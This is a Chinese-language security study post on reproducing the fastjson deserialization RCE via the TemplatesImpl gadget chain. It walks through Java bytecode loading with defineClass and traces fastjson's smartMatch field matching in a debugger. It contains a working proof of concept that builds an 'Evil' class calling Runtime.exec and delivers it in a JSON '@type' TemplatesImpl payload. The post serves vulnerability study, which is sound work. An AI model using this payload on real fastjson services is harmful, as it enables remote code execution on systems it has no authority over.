因为复现 fastjson 漏洞时发现他们用的都是TemplatesImpl的利用链,于是顺便回到 java安全漫谈 学习一下 java 中字节码动态加载的方法。

TemplatesImpl 利用链

要分析 TemplatesImpl 利用链,首先我们需要了解 JAVA 动态加载字节码的方法。所谓动态加载字节码,是指 JAVA 从字节序列中恢复一个类并在 JAVA 虚拟机中加载的过程。其中ClassLoader是比较常用的方法。ClassLoader一般分三部分完成:loadClassfindClassdefineClass

  • loadClass:从已加载的类缓存、父加载器等寻找类,如果没找到则交给findClass
  • findClass:从一个指定的位置寻找类的位置
  • defineClass:处理前面传入的字节码,将其转化为JAVA类

defineClass这一步在类加载过程中是最核心的,也是我们可以利用的。我们可以简单写一段 demo 来利用defineClass加载类。

import java.lang.reflect.Method;
import java.util.Base64;

public class HelloDefineClass {
    public static void main(String[] args) throws Exception {
        Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        defineClass.setAccessible(true);

        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEA" +
                "Bjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVs" +
                "bG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZh" +
                "L2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3Ry" +
                "ZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5n" +
                "OylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoA" +
                "AAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM");
        Class hello = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", code, 0, code.length);
        hello.newInstance();
    }
}

执行后输出了Hello World

因此有了defineClass,我们可以执行任意命令,但可惜的是defineClassprotected属性的,不能直接在外部被访问,因此不能直接被利用。然而有一个 JAVA 内部类重写了defineClass,并且是default属性的,因此我们可以直接从外部访问并加以利用,这个类就是前面说的TemplatesImpl类中的TransletClassLoader

为了利用TransletClassLoader#defineClass(),我们向前追踪调用链。可以发现这么一条链:

TemplatesImpl#getOutputProperties()
    -->TemplatesImpl#newTransformer()
        -->TemplatesImpl#getTransletInstance()
            -->TemplatesImpl#defineTransletClasses()
                -->TransletClassLoader#defineClass()

其中最前面的这两个方法TemplatesImpl#getOutputProperties()TemplatesImpl#newTransformer()的作用域都是public。基于这些,我们可以利用newTransformer()写一个简单的POC:

public static void main(String[] args) throws Exception {
// source: bytecodes/HelloTemplateImpl.java
    byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwAAQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwADwABABAAAAACABE=");
    TemplatesImpl obj = new TemplatesImpl();
    setFieldValue(obj, "_bytecodes", new byte[][] {code});
    setFieldValue(obj, "_name", "HelloTemplatesImpl");
    setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
    obj.newTransformer();
}

注意_tfactory必须是一个TransformerFactoryImpl对象,否则进入TemplatesImpl#defineTransletClasses时会报错。另外有一点需要注意,TemplatesImpl需要被加载的类是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子类。

临门一脚

学完了TemplatesImpl利用链,我们回到 Fastjson 的链上。其实学到了现在,要点差不多就讲完了,整个漏洞的利用过程如下:

  • Fastjson 在反序列化的过程中会自动调用 setter 和 getter 函数
  • 在 Fastjson 寻找到对应的反序列化器以后就会调用 smartMatch()函数进行模糊匹配,将 json 中的_outputProperties转化成outputProperties
  • 随后 Fastjson 就会找到outputProperties方法
  • 最后就会调用TemplatesImpl利用链造成 RCE。

纵观全过程,唯一没讲到的就是模糊匹配了,我们简单写一个 poc 来边讲边学习吧。

package com.example.demo.Controller;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;

import java.util.Base64;

public class Poc {
    public static String generateEvil() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clas = pool.makeClass("Evil");
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        String cmd = "Runtime.getRuntime().exec(\"/bin/code\");";
        clas.makeClassInitializer().insertBefore(cmd);
        clas.setSuperclass(pool.getCtClass(AbstractTranslet.class.getName()));

        clas.writeFile("./");

        byte[] bytes = clas.toBytecode();
        String EvilCode = Base64.getEncoder().encodeToString(bytes);
        System.out.println(EvilCode);
        return EvilCode;
    }
    public static void main(String[] args) throws Exception {
        final String GADGAT_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String evil = Poc.generateEvil();
        String PoC = "{\"@type\":\"" + GADGAT_CLASS + "\",\"_bytecodes\":[\"" + evil + "\"],'_name':'a.b','_tfactory':{},\"_outputProperties\":{ }," + "\"_name\":\"a\",\"allowedProtocols\":\"all\"}\n";
        JSON.parseObject(PoC,Object.class, Feature.SupportNonPublicField);
    }
}

调试,跟进代码,具体过程在上一篇文章中有详细分析,这里不多赘述。直接来到JavaBeanDeserializer#deserial第 604 行,调用了parseField,对传入的字符进行匹配:

boolean match = this.parseField(parser, key, object, type, fieldValues);

跟进,来到JavaBeanDeserializer#parseField第 743 行,调用了smartMatch

public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType, Map<String, Object> fieldValues) {
        JSONLexer lexer = parser.lexer;
        FieldDeserializer fieldDeserializer = this.smartMatch(key);
        // ...
}

smartMatch中,我们传入的_outputProperties被转化成outputProperties

接着传入getFieldDeserializer,获得了我们需要的outputProperties函数并返回:

继续跟进,来到了DefaultFieldDeserializer#parseField

public void parseField(DefaultJSONParser parser, Object object, Type objectType, Map<String, Object> fieldValues) {
    this.setValue(object, value); // object: TemplatesImpl
}

跟进,发现此时的method已经是我们希望的outputProperties,并通过method.invode(object) // object: TemplatesImpl成功反射,接下来就是 TemplatesImpl利用链到 RCE 的过程了: